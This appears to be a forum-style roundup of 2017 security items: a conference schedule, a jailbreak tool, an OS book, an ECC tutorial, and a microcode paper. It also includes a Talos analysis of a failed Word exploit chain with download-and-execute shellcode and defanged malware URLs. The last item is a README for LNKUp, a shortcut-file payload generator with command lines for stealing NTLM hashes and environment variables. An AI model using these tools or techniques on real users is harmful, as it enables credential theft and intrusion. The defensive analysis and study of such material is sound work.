(EPFL) AVAILABLE MEDIA Show details ▸ ROTE: Rollback Protection for Trusted Execution Sinisa Matetic, Mansoor Ahmed, Kari Kostiainen, Aritra Dhar, David Sommer, and Arthur Gervais, ETH Zurich; Ari Juels, Cornell Tech; Srdjan Capkun, ETH Zurich AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Crypto Deployment Grand Ballroom CD Session Chair: Devdatta Akhawe, Dropbox A Longitudinal, End-to-End View of the DNSSEC Ecosystem Taejoong Chung, Northeastern University; Roland van Rijswijk-Deij, University of Twente and SURFnet bv; Balakrishnan Chandrasekaran, TU Berlin; David Choffnes, Northeastern University; Dave Levin, University of Maryland; Bruce M. Maggs, Duke University and Akamai Technologies; Alan Mislove and Christo Wilson, Northeastern University Distinguished Paper Award Winner! AVAILABLE MEDIA Show details ▸ Measuring HTTPS Adoption on the Web Adrienne Porter Felt, Google; Richard Barnes, Cisco; April King, Mozilla; Chris Palmer, Chris Bentzel, and Parisa Tabriz, Google AVAILABLE MEDIA Show details ▸ "I Have No Idea What I'm Doing" - On the Usability of Deploying HTTPS Katharina Krombholz, Wilfried Mayer, Martin Schmiedecker, and Edgar Weippl, SBA Research AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Privacy Attacks & Defense Junior Ballroom Session Chair: Thomas Eisenbarth, Universität zu Lübeck & WPI Beauty and the Burst: Remote Identification of Encrypted Video Streams Roei Schuster, Tel Aviv University, Cornell Tech; Vitaly Shmatikov, Cornell Tech; Eran Tromer, Tel Aviv University, Columbia University AVAILABLE MEDIA Show details ▸ Walkie-Talkie: An Efficient Defense Against Passive Website Fingerprinting Attacks Tao Wang, Hong Kong University of Science and Technology; Ian Goldberg, University of Waterloo AVAILABLE MEDIA Show details ▸ A Privacy Analysis of Cross-device Tracking Sebastian Zimmeck, Carnegie Mellon University; Jie S. Li and Hyungtae Kim, unaffiliated; Steven M. Bellovin and Tony Jebara, Columbia University AVAILABLE MEDIA Show details ▸ 3:30 pm–4:00 pm Break with refreshments Grand Ballroom Foyer 4:00 pm–5:00 pm Track 1 Hide details ▾ Blockchains Grand Ballroom AB Session Chair: Thomas Ristenpart, Cornell Tech SmartPool: Practical Decentralized Pooled Mining Loi Luu, National University of Singapore; Yaron Velner, The Hebrew University of Jerusalem; Jason Teutsch, TrueBit Foundation; Prateek Saxena, National University of Singapore AVAILABLE MEDIA Show details ▸ REM: Resource-Efficient Mining for Blockchains Fan Zhang, Ittay Eyal, and Robert Escriva, Cornell University; Ari Juels, Cornell Tech; Robbert van Renesse, Cornell University AVAILABLE MEDIA Show details ▸ Track 2 Hide details ▾ Databases Grand Ballroom CD Session Chair: Engin Kirda, Northeastern University Ensuring Authorized Updates in Multi-user Database-Backed Applications Kevin Eykholt, Atul Prakash, and Barzan Mozafari, University of Michigan Ann Arbor AVAILABLE MEDIA Show details ▸ Qapla: Policy compliance for database-backed systems Aastha Mehta and Eslam Elnikety, Max Planck Institute for Software Systems (MPI-SWS); Katura Harvey, University of Maryland, College Park and Max Planck Institute for Software Systems (MPI-SWS); Deepak Garg and Peter Druschel, Max Planck Institute for Software Systems (MPI-SWS) AVAILABLE MEDIA Show details ▸ Track 3 Hide details ▾ Invited Talks Junior Ballroom Session Chair: Michael Bailey, University of Illinois at Urbana–Champaign Data Hemorrhage, Inequality, and You: How Technology and Data Flows are Changing the Civil Liberties Game Shankar Narayan, Technology and Liberty Project Director, American Civil Liberties Union of Washington Show details ▸ Sursa: https://www.usenix.org/node/203932

PhœnixNonce We told you to save your blobs. About Lets you set your boot-nonce so you can restore with saved blobs. For 64-bit devices only (for 32-bit, check out the Phœnix Jailbreak). As always, use at your own risk. Download Here. Usage Download the IPA. Install with Cydia Impactor. Run the app & set your generator. Restore with futurerestore. License MIT. Uses code from kern-utils and cl0ver. Copyright Siguza, tihmstar and others (see source code for details). Sursa: https://github.com/Siguza/PhoenixNonce

Operating Systems: From 0 to 1 This book helps you gain the foundational knowledge required to write an operating system from scratch. Hence the title, 0 to 1. After completing this book, at the very least you will learn: How to write an operating system from scratch by reading hardware datasheets. In the real world, it works like that. You won’t be able to consult Google for a quick answer. A big picture of how each layer of a computer is related to the other, from hardware to software. Write code independently. It’s pointless to copy and paste code. Real learning happens when you solve problems on your own. Some examples are given to kick start, but most problems are yours to conquer. However, the solutions are available online for you to examine after giving it a good try. Linux as a development environment and how to use common tools for low-level programming. x86 assembly in-depth. How a program is structured so that an operating system can run. How to debug a program running directly on hardware with gdb and QEMU. Linking and loading on bare metal x86_64, with pure C. No standard library. No runtime overhead. Download the book The pedagogy of the book You give a poor man a fish and you feed him for a day. You teach him to fish and you give him an occupation that will feed him for a lifetime. This has been the guiding principle of the book when I was writing it. The book does not try to teach you everything, but enough to enable you to learn by yourself. The book itself, at this point, is quite “complete”: once you master part 1 and part 2 (which consist of 8 chapters), you can drop the book and learn by yourself. At this point, smart readers should be able to continue on their own. For example, they can continue their journeys on OSDev wiki; in fact, after you study everything in part 1 and part 2, you only meet the minimum requirement by OSDev Wiki (well, not quite, the book actually goes deeper for the suggested topics). Or, if you consider developing an OS for fun is impractical, you can continue with a Linux-specific book, such as this free book Linux Insides, or other popular Linux kernel books. The book tries hard to provide you a strong foundation, and that’s why part 1 and part 2 were released first. The book teaches you core concepts, such as x86 Assembly, ELF, linking and debugging on bare metal, etc., but more importantly, where such information come from. For example, instead of just teaching x86 Assembly, it also teaches how to use reference manuals from Intel. Learning to read the official manuals is important because only the hardware manufacturers themselves understand how their hardware work. If you only learn from the secondary resources because it is easier, you will never gain a complete understanding of the hardware you are programming for. Have you ever read a book on Assembly, and wondered where all the information came from? How does the author know everything he says is correct? And how one seems to magically know so much about hardware programming? This book gives pointers to such questions. As an example, you should skim through chapter 4, “x86 Assembly and C”, to see how it makes use of the Intel manual, Volume 2. And in the process, it guides you how to use the official manuals. Part 3 is planned as a series of specifications that a reader will implement to complete each operating system component. It does not contain code aside from a few examples. Part 3 is just there to shorten the reader’s time when reading the official manuals by giving hints where to read, explaining difficult concepts and how to use the manuals to debug. In short, the implementation is up to the reader to work on his or her own; the chapters are just like university assignments. Prerequisites Know some circuit concepts: Basic Concepts of Electricity: atoms, electrons, protons, neutrons, current flow. Ohm’s law However, if you know absolutely nothing about electricity, you can quickly learn it here:http://www.allaboutcircuits.com/textbook/, by reading chapter 1 and chapter 2. C programming. In particular: Variable and function declarations/definitions While and for loops Pointers and function pointers Fundamental algorithms and data structures in C Linux basics: Know how to navigate directory with the command line Know how to invoke a command with options Know how to pipe output to another program Touch typing. Since we are going to use Linux, touch typing helps. I know typing speed does not relate to problem-solving, but at least your typing speed should be fast enough not to let it get it the way and degrade the learning experience. In general, I assume that the reader has basic C programming knowledge, and can use an IDE to build and run a program. Status: Part 1 Chapter 1: Complete Chapter 2: Complete Chapter 3: Almost. Currently, the book relies on the Intel Manual for fully explaining x86 execution environment. Chapter 4: Complete Chapter 5: Complete Chapter 6: Complete Part 2 Chapter 7: Complete Chapter 8: Complete Part 3 Chapter 9: Incomplete Chapter 10: Incomplete Chapter 11: Incomplete Chapter 12: Incomplete Chapter 13: Incomplete … and future chapters not included yet … In the future, I hope to expand part 3 to cover more than the first 2 parts. But for the time being, I will try to finish the above chapters first. Sample OS This repository is the sample OS of the book that is intended as a reference material for part 3. It covers 10 chapters of the “System Programming Guide” (Intel Manual Volume 3), along with a simple keyboard and video driver for input and output. However, at the moment, only the following features are implemented: Protected mode. Creating and managing processes with TSS (Task State Structure). Interrupts LAPIC. Paging and I/O are not yet implemented. I will try to implement it as the book progresses. Contributing If you find any grammatical issues, please report it using Github Issues. Or, if some sentence or paragraph is difficult to understand, feel free to open an issue with the following title format: [page number][type] Descriptive Title. For example: [pg.9][grammar] Incorrect verb usage. type can be one of the following: Typo: indicates typing mistake. Grammar: indicates incorrect grammar usage. Style: indicates a style improvement. Content: indicates problems with the content. Even better, you can make a pull request with the provided book source. The main content of the book is in the file “Operating Systems: From 0 to 1.lyx”. You can edit the .txt file, then I will integrate the changes manually. It is a workaround for now since Lyx can cause a huge diff which makes it impossible to review changes. The book is in development, so please bear with me if the English irritates you. I really appreciate it. Finally, if you like the project and if it is possible, please donate to help this project and keep it going. Got questions? If you have any question related to the material or the development of the book, feel free to open a Github issue. Sursa: https://tuhdo.github.io/os01/

Blockchain 101 - Elliptic Curve Cryptography Aug 15, 2017 | By Jimmy Song, Principal Blockchain Architect In this series of articles, I’m aiming to give you a solid foundation for blockchain development. In the last article, we gave an overview of the foundational math, specifically, finite fields and elliptic curves. In this article, my aim is to get you comfortable with elliptic curve cryptography (ECC, for short). This lesson builds upon the last one, so be sure to read that one first before continuing. The Magic of Elliptic Curve Cryptography Finite fields are one thing and elliptic curves another. We can combine them by defining an elliptic curve over a finite field. All the equations for an elliptic curve work over a finite field. By “work”, we mean that we can do the same addition, subtraction, multiplication and division as defined in a particular finite field and all the equations stay true. If this sounds confusing, it is. Abstract algebra is abstract! Of course, the elliptic curve graphed over a finite field looks very different than an actual elliptic curve graphed over the Reals. An elliptic curve over real numbers looks like this: An elliptic curve over a finite field looks scattershot like this: How to calculate Elliptic Curves over Finite Fields Let’s look at how this works. We can confirm that (73, 128) is on the curve y2=x3+7 over the finite field F137. $ python2 >>> 128**2 % 137 81 >>> (73**3 + 7) % 137 81 The left side of the equation (y2) is handled exactly the same as in a finite field. That is, we do field multiplication of y * y. The right side is done the same way and we get the same value. Exercise True or False: Point is on the y2=x3+7 curve over F223 1. (192, 105) 2. (17, 56) 3. (200, 119) 4. (1, 193) 5. (42, 99) Highlight to reveal answers: 1. True, 2. True, 3. False, 4. True, 5. False Group Law The group law for an elliptic curve also works over a finite field: Curve:y2=x3+ax+b P1=(x1,y1) P2=(x2,y2) P1+P2=(x3,y3) When x1≠x2: s=(y2-y1)/(x2-x1) x3=s2-x1-x2 y3=s(x1-x3)-y1 As discussed in the previous article, the above equation is used to find the third point that intersects the curve given two other points on the curve. In a finite field, this still holds true, though not as intuitively since the graph is a large scattershot. Essentially, all of these equations work in a finite field. Let’s see in an example: Curve: y2=x3+7 Field: F137 P1 = (73, 128) P2 = (46, 22) Find P1+P2 First, we can confirm both points are on the curve: 1282% 137 = 81 = (733+7) % 137 222% 137 = 73 = (463+7) % 137 Now we apply the formula above: s = (y2-y1)/(x2-x1) = (22-128)/(46-73) = 106/27 To get 1/27, we have to use field division as we learned last time. Python: >>> pow(27, 135, 137) 66 >>> (106*66) % 137 9 We get s=106/27=106*66 % 137=9. Now we can calculate the rest: x3 = s2-x1-x2 = 92-46-73 = 99 y3 = s(x1-x3)-y1 = 9(73-99)-128 = 49 We can confirm that this is on the curve: 492% 137 = 72 = (993+7) % 137 P1+P2 = (99, 49) Exercise Calculate the following on the curve: y2=x3+7 over F223 1. (192, 105) + (17, 56) 2. (47, 71) + (117, 141) 3. (143, 98) + (76, 66) Highlight to reveal answers: 1. (170, 142), 2. (60, 139), 3. (47, 71) Using the Group Law Given a point on the curve, G, we can create a nice finite group. A group, remember, is a set of numbers closed under a single operation that’s associative, commutative, invertible and has an identity. We produce this group, by adding the point to itself. We can call that point 2G. We can add G again to get 3G, 4G and so on. We do this until we get to some nG where nG=0. This set of points {0, G, 2G, 3G, 4G, … (n-1)G} is a mathematical group. 0, by the way, is the “point at infinity”. You get this point by adding (x,y) + (x,-y). Given that (x,y) is on the curve (x,-y) is on the curve since the left side of the elliptic curve equation has a y2. Adding these produces a point that’s got infinity for both x and y. This is what we call the identity. It turns out that calculating sG = P is pretty easy, but given G and P, it’s difficult to calculate s without checking every possible number from 1 to n-1. This is called the Discrete Log problem and it’s very hard to go backwards if n is really large. This s is what we call the secret key. Because the field is finite, the group is also finite. What’s more, if we choose the elliptic curve and the prime number of the field carefully, we can also make the group have a large prime number of elements. Indeed, that’s what defines an elliptic curve for the purposes of elliptic curve cryptography. Defining a Curve Specifically, each ECC curve defines: elliptic curve equation (usually defined as a and b in the equation y2 = x3 + ax + p = Finite Field Prime Number G = Generator point n = prime number of points in the group The curve used in Bitcoin is called secp256k1 and it has these parameters: Equation y2 = x3 + 7 (a = 0, b = 7) Prime Field (p) = 2256 - 232 - 977 Base point (G) = (79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) Order (n) = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 The curve’s name is secp256k1, where SEC stands for Standards for Efficient Cryptography and 256 is the number of bits in the prime field. The big thing to note about this curve is that n is fairly close to p. That is, most points on the curve are in the group. This is not necessarily a property shared in other curves. As a result, we have something pretty close to 2256 possible secret keys. How Big Is 2256? Note that 2256 is a really large number. It’s around 1077, which is way more than the number of atoms in our galaxy (1057). It’s basically inconceivable to calculate all possible secret keys as there are simply too many of them. A trillion computers doing a trillion operations every picosecond (10-12 seconds) for a trillion years is still less than 1056 operations. Human intuition breaks down when it comes to numbers this big, perhaps because until recently we’ve never had a reason to think like this; if you’re thinking that all you need is more/faster computers, the numbers above haven’t sunk in. Working With Elliptic Curves To begin working with elliptic curves, let’s confirm that the generator point (G) is on the curve (y2 = x3 + 7) G = (79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) p = 2256 - 232 - 977 y2 = x3 + 7 $ python2 >>> x = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798 >>> y = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8 >>> p = 2**256 - 2**32 - 977 >>> y**2 % p == (x**3 + 7) % p True Remember, we’re always working in the Prime Field of p. This means that we always mod p for these operations. Next, let’s confirm that G has order n. That is, nG = 1. This is going to require the use of a python library called pycoin. It has all of the secp256k1 curve parameters that we can check. Similar libraries exist for other languages. Note that the actual process is a bit more complicated and the reader is encouraged to explore the implementation for more details. G = (79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798, 483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8) n = FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 $ python2: >>> n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 >>> from pycoin.ecdsa import generator_secp256k1 as g >>> (n*g).pair() (None, None) (None, None) is actually the point at infinity, or the identity for point-addition. Utilizing ECC for Public Key Cryptography Private keys are the scalars, usually donated with “s” or some other lower case letter. The public key is the resulting point of the scalar multiplication or sG, which is usually denoted with “P”. P is actually a point on the curve and is thus two numbers, the x and y coordinate or (x,y). Here’s how you can derive the public key from the private key: Python: >>> from pycoin.ecdsa import generator_secp256k1 as g >>> secret = 999 >>> x, y = (secret*g).pair() >>> print(hex(x), hex(y)) ('0x9680241112d370b56da22eb535745d9e314380e568229e09f7241066003bc471L', '0xddac2d377f03c201ffa0419d6596d10327d6c70313bb492ff495f946285d8f38L') Exercise 1. Get the public points for s in (7, 1485, 2128, 2240+231) in the secp256k1 curve. 2. Confirm the resulting points lie on the secp256k1 curve. Highlight to reveal answers: (5CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC, 6AEBCA40BA255960A3178D6D861A54DBA813D0B813FDE7B5A5082628087264DA), (C982196A7466FBBBB0E27A940B6AF926C1A74D5AD07128C82824A11B5398AFDA, 7A91F9EAE64438AFB9CE6448A1C133DB2D8FB9254E4546B6F001637D50901F55), (8F68B9D2F63B5F339239C1AD981F162EE88C5678723EA3351B7B444C9EC4C0DA, 662A9F2DBA063986DE1D90C2B6BE215DBBEA2CFE95510BFDF23CBF79501FFF82), (9577FF57C8234558F293DF502CA4F09CBC65A6572C842B39B366F21717945116, 10B49C67FA9365AD7B90DAB070BE339A1DAF9052373EC30FFAE4F72D5E66D053) SEC Format The private keys are just 256 bit numbers, but the public keys are actually 2 different 256-bit numbers. This means that we need to serialize them. The same organization (Standards for Efficient Cryptography) created a format for this very purpose. There are two versions, compressed and uncompressed. Let’s start with the uncompressed version: The first point from exercise 1 above is: (x, y) = (5CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC, 6AEBCA40BA255960A3178D6D861A54DBA813D0B813FDE7B5A5082628087264DA) In uncompressed SEC, we concatenate the byte “04”, then the X-coordinate and then the Y-coordinate. It looks something like this in hex: 045CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC6AEBCA40BA255960A3178D6D861A54DBA813D0B813FDE7B5A5082628087264DA Because the x and y coordinates are 32-bytes (256 bits) each, the length of an uncompressed SEC format public key is 65 bytes. It turns out this is a little bit inefficient. If we know the x coordinate, there are only two possible y-coordinates, the positive and negative (odd and even in a finite field). Thus, they came up with a compressed SEC format. The first byte is “02” if y is even, “03” if y is odd. Then we concatenate the x-coordinate. The above point in Compressed SEC format is this: 025CBDF0646E5DB4EAA398F365F2EA7A0E3D419B7E0330E39CE92BDDEDCAC4F9BC This is because the y-coordinate ends in A, which is even in hex. Note that compressed keys are always 33 bytes (1 byte + 32 byte x-coordinate) Exercise Find the compressed and uncompressed SEC format for the public keys where the secret key is: 1. 9993 2. 123 3. 42424242 Highlight to reveal answers: 049D5CA49670CBE4C3BFA84C96A8C87DF086C6EA6A24BA6B809C9DE234496808D56FA15CC7F3D38CDA98DEE2419F415B7513DDE1301F8643CD9245AEA7F3F911F9, 039D5CA49670CBE4C3BFA84C96A8C87DF086C6EA6A24BA6B809C9DE234496808D5 04A598A8030DA6D86C6BC7F2F5144EA549D28211EA58FAA70EBF4C1E665C1FE9B5204B5D6F84822C307E4B4A7140737AEC23FC63B65B35F86A10026DBD2D864E6B, 03A598A8030DA6D86C6BC7F2F5144EA549D28211EA58FAA70EBF4C1E665C1FE9B5 04AEE2E7D843F7430097859E2BC603ABCC3274FF8169C1A469FEE0F20614066F8E21EC53F40EFAC47AC1C5211B2123527E0E9B57EDE790C4DA1E72C91FB7DA54A3, 03AEE2E7D843F7430097859E2BC603ABCC3274FF8169C1A469FEE0F20614066F8E Conclusion In this lesson, we learned how to combine finite fields and elliptic curves to create a finite group for use in public key cryptography. Next time, we’ll show how to convert SEC format public keys to Bitcoin Addresses and how we can sign and verify messages using the math learned here. Sursa: https://eng.paxos.com/blockchain-101-elliptic-curve-cryptography

Reverse Engineering x86 Processor Microcode Authors: Philipp Koppe, Benjamin Kollenda, Marc Fyrbiak, Christian Kison, Robert Gawlik, Christof Paar, and Thorsten Holz, Ruhr-University Bochum Open Access Content USENIX is committed to Open Access to the research presented at our events. Papers and proceedings are freely available to everyone once the event begins. Any video, audio, and/or slides that are posted after the event are also free and open to everyone. Support USENIX and our commitment to Open Access. Koppe PDF BibTeX Abstract: Microcode is an abstraction layer on top of the physical components of a CPU and present in most general-purpose CPUs today. In addition to facilitate complex and vast instruction sets, it also provides an update mechanism that allows CPUs to be patched in-place without requiring any special hardware. While it is well-known that CPUs are regularly updated with this mechanism, very little is known about its inner workings given that microcode and the update mechanism are proprietary and have not been throughly analyzed yet. In this paper, we reverse engineer the microcode semantics and inner workings of its update mechanism of conventional COTS CPUs on the example of AMD’s K8 and K10 microarchitectures. Furthermore, we demonstrate how to develop custom microcode updates. We describe the microcode semantics and additionally present a set of microprograms that demonstrate the possibilities offered by this technology. To this end, our microprograms range from CPU-assisted instrumentation to microcoded Trojans that can even be reached from within a web browser and enable remote code execution and cryptographic implementation attacks. Sursa: https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/koppe

Monday, August 14, 2017 When combining exploits for added effect goes wrong Introduction Since public disclosure in April 2017, CVE-2017-0199 has been frequently used within malicious Office documents. The vulnerability allows attackers to include Ole2Link objects within RTF documents to launch remote code when HTA applications are opened and parsed by Microsoft Word. In this recent campaign, attackers combined CVE-2017-0199 exploitation with an earlier exploit, CVE-2012-0158, possibly in an attempt to evade user prompts by Word, or to arrive at code execution via a different mechanism. Potentially, this was just a test run in order to test a new concept. In any case, the attackers made mistakes which caused the attack to be a lot less effective than it could have been. Analysis of the payload highlights the potential for the Ole2Link exploit to launch other document types, and also demonstrates a lack of rigorous testing procedures by at least one threat actor. Attackers are obviously trying to find a way around known warning mechanisms alerting users about potential security issues with opened documents. In this blog post we analyse what happens when an attack attempts to combine these two exploits in a single infection chain and fails. Although this attack was unsuccessful it has shown a level of experimentation by attackers seeking to use CVE-2017-0199 as a means to launch additional weaponized file types and avoid user prompts. It may have been an experiment that didn’t quite work out, or it may be indication of future attacks yet to materialise. Standard CVE-2017-0199 exploitation A typical attack exploiting CVE-2017-0199 consists of an email campaign, distributing a malicious RTF document.The vulnerability exists in code that handles Ole2Link embedded objects. Including an Ole2Link in an RTF document allows Word to load other, remote documents within the context of Word. Standard CVE-2017-0199 flow If the remote OLE2Link points to an HTML application file (HTA file type), vulnerable Word and WordPad versions will parse and execute the application even if the user chooses not to allow inclusion of the remote content. A possible sign of exploitation attempt of CVE-2017-0199 is this Word prompt to the user: Word prompt displayed to the user before potential CVE-2017-0199 exploit attempt Modified CVE-2017-0199 flow In the case of the modified exploit flow we analyzed, the attack started with an email message containing a malicious attachment. The email employed the usual social engineering tricks to entice the user to open and read the attached document. Referring to the attachment as a purchase order coming from an unknown "partner" is a very common social engineering trick of spammed malware. Email message launching the modified attack The document attached to the email message is an RTF file including an Ole2Link to a remote document hosted at hxxp://multplelabs [dot] com/ema/order.doc. In this case, the mime content type of the remote document observed in the packet capture of the attack was not the expected application/hta but rather application/msword which was enough to motivate us to dig a little bit deeper in order to find out what the attackers are trying to achieve. The first surprising thing is that the vulnerable version of Word I used for the analysis crashed before it managed to display the prompt commonly seen with CVE-2017-0199 exploitation. Instead of displaying the prompt, Word started to convert the downloaded document and then hung before eventually crashing with a memory access fault. Word crashes without the prompt The crash was caused not by the first exploit stage using CVE-2017-0199 but rather by the second stage using CVE-2012-0158. Here we see the shellcode embedded into a MSComctlLib.ListViewCtrl.2 ActiveX control, which is a telltale sign of CVE-2012-0158. The shellcode starts with a ROP chain followed by the shellcode which starts executing when the vulnerability is triggered. After the ROP chain sets the right permissions for the memory block containing the rest of the shellcode, the first stage of the shellcode is executed. First stage shellcode for CVE-2012-0158 This stage is responsible for the application crash. The attackers did not seem to have a good quality assurance process or perhaps the technical expertise to understand what will happen if they simply included an automatically generated CVE-2012-0158 exploit in combination with CVE-2017-0199. The shellcode starts with resolving several API addresses, which allow the code to traverse all open files by bruteforcing the handle numbers for open files, starting from zero and increasing the handle number by four for every next open file handle. If the handle exists, the shellcode attempts to check the file size using the GetFileSize API that takes the file handle as the parameter. If the file size is within the expected range the shellcode maps it in memory to perform a file type check. Checking the file size and finding file type The shellcode here incorrectly assumes that if the found file is an RTF file then all the required conditions are met and the identified RTF file must contain the next shellcode stage. Once the shellcode assumes the file size and type requirements are satisfied, it starts to read the mapped file looking for the next stage shellcode marker which is, in our test, never found because the original CVE-2017-0199 exploiting file is still present in memory. This file satisfies both of the conditions searched for by the first stage shellcode. Since the CVE-2017-0199 exploiting file is open before the CVE-2012-0158 document, its handle is smaller and it is read first by the shellcode. First stage shellcode looking for the next shellcode stage marker The shellcode searches for the next stage marker 0xfefefefefeffffffff within the wrong document, without correctly handling reads beyond the document length. This eventually causes a memory protection error by reading memory content past the allocated memory blocks. If the attackers would have been just a little bit more technically savvy they would realize this problem and easily fix it to make these two exploits work together successfully without the prompt to load the remote content being displayed to the end-user. One possible fix involves fixing a single byte to make the file size limits a bit stricter to exclude the original CVE-2017-0199 file size. The other way, just slightly more complex, is to correctly handle cases when the next stage marker is not found within the RTF and assume that the targeted Word process already has other RTF documents opened which satisfy the file size condition. Interestingly enough, the shellcode in the document containing the CVE-2012-0158 exploit will be successfully executed if there are no other open RTF files so we analyzed the remainder for the sake of completeness. Second stage shellcode The second stage shellcode is a bit more complex and starts by finding required API functions within ntdll.dll. The API functions are used to launch an instance of svchost.exe in a suspended state, and to overwrite the original entrypoint with the final "download and execute" shellcode stage which eventually launches the executable payload. Finding ntdll.dll APIs to inject the last stage and resume svchost.exe process The last shellcode stage, injected into svchost.exe uses UrlDownloadToFile API to download an executable file from the command and control server into the temporary files folder with the filename name.exe, and calls the ShellExecute function to launch the final payload. Download and execute stage The downloaded executable payload is a packed VB dropper which drops an older Ramnit version, but it also runs Lokibot, based on the observed traffic to the command and control server. Ramnit is a well known self-replicating information stealing bot which also includes a rootkit to hide its presence from the user and security products and is already well documented. Further analysis of this particular piece of malware is outside of the scope of this blog post. Despite being older, the Ramnit family is still a commonly encountered malware family by Talos. It is possible that in this case the attackers intended to launch a Lokibot attack but the sample got infected by the Ramnit file infection component along the way. DNS activity for multplelabs.com The domain hosting the malware and the command and control server was registered in October 2016 and it is likely a compromised site, although it seems to have been used by some other Lokibot campaigns. The DNS activity for the domain shows two distinct spikes, which likely indicate two unsuccessful spam campaigns as there has been no additional activity to show increase in communication from infected systems to the command and control server. The DNS activity confirms our findings which document the reasons for the attack failure. Conclusion CVE-2017-0199 is one of the most commonly used vulnerabilities exploited by malicious documents distributed in spamming campaigns. Previous work indicates that its popularity with attackers overcame the popularity of CVE-2012-0158. In this blog post we analyse what happens when an attack attempts to combine these two exploits in a single infection chain. In the case of this campaign the attackers made a major mistake that prevented the intended download and execution of the Ramnit payload. Attempted combined attack stages One has to wonder why did the attackers use the combination of a newer and an older exploit at all? The combination would not be executed if the targeted system had a patch against either of the exploits. In addition, if the targeted system was vulnerable to CVE-2012-0158 it would be much easier for the attackers to use a single exploit targeting this vulnerability. An assumption we can make is that that the attackers used the combination to avoid Word displaying the prompt which may raise suspicions for the target end user. Another possibility is that they attempted to use this combination in order to avoid behavioral detection systems which may be triggering on the combination of Ole2Link in a word document and a download of an HTA file. This attack was unsuccessful, potentially indicating poor testing or quality control procedures by the attackers. However, this does show a level of experimentation by attackers seeking to use CVE-2017-0199 as a means to launch additional weaponized file types and avoid user prompts. This attack may have been an experiment that didn't quite work out, or it may be indication of future attacks yet to materialise. Coverage Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. Email Security can block malicious emails sent by threat actors as part of their campaign. Network Security appliances such as NGFW, NGIPS, and Meraki MX with Advanced Security can detect malicious activity associated with this threat. AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. Umbrella prevents DNS resolution of the domains associated with malicious activity. Stealthwatch detects network scanning activity, network propagation, and connections to CnC infrastructures, correlating this activity to alert administrators. IOCs Documents 5ae2f13707ee38e4675ad1bc016b19875ee32312227103d6f202874d8543fc2e - CVE-2017-0199 6a84e5fd6c9b2c1685efc7ac8d763048913bad2e767b4958e7b40b4488bacf80 - CVE-2012-0158 Executables 351aec22d926b4fb7efc7bafae9d1603962cadf0aed1e35b1ab4aad237723474 f34e5af97ccb3574f7d5343246138daf979bfd1f9c37590e9a41f6420ddb3bb6 43624bf57a9c7ec345d786355bb56ca9f76c226380302855c61277bdc490fdfe d4fbca06989a074133a459c284d79e979293625262a59fbd8b91825dbfbe2a13 URLs hxxp://multplelabs[dot]com/ema/order.doc - CVE-2012-0158 hxxp://multplelabs[dot]com/ema/nextyl.exe - dropper hxxp://multplelabs[dot]com/freem/50/fre.php - Lokibot C2 Posted by Vanja Svajcer at 12:55 PM Sursa: http://blog.talosintelligence.com/2017/08/when-combining-exploits-for-added.html

LNKUp LNK Data exfiltration payload generator This tool will allow you to generate LNK payloads. Upon rendering or being run, they will exfiltrate data. Info I am not responsible for any actions you take with this tool! You can contact me with any questions by opening an issue, or via my Twitter, @Plazmaz. Known gotchas This tool will not work on OSX or Linux machines. It is specifically designed to target windows. There may be issues with icon caching in some situations. If your payload doesn't execute after the first time, try regenerating it. You will need to run a responder or metasploit module server to capture NTLM hashes. To capture environment variables, you'll need to run a webserver like apache, nginx, or even just this Installation Install requirements using pip install -r requirements.txt Usage Payload types: NTLM Steals the user's NTLM hash when rendered. Needs listener server such as this metasploit module More on NTLM hashes leaking: https://dylankatz.com/NTLM-Hashes-Microsoft's-Ancient-Design-Flaw/ Example usage: lnkup.py --host localhost --type ntlm --output out.lnk Environment Steals the user's environment variables. Examples: %PATH%, %USERNAME%, etc Requires variables to be set using --vars Example usage: lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME --output out.lnk Extra: Use --execute to specify a command to run when the shortcut is double clicked Example: lnkup.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s" Sursa: https://github.com/Plazmaz/LNKUp

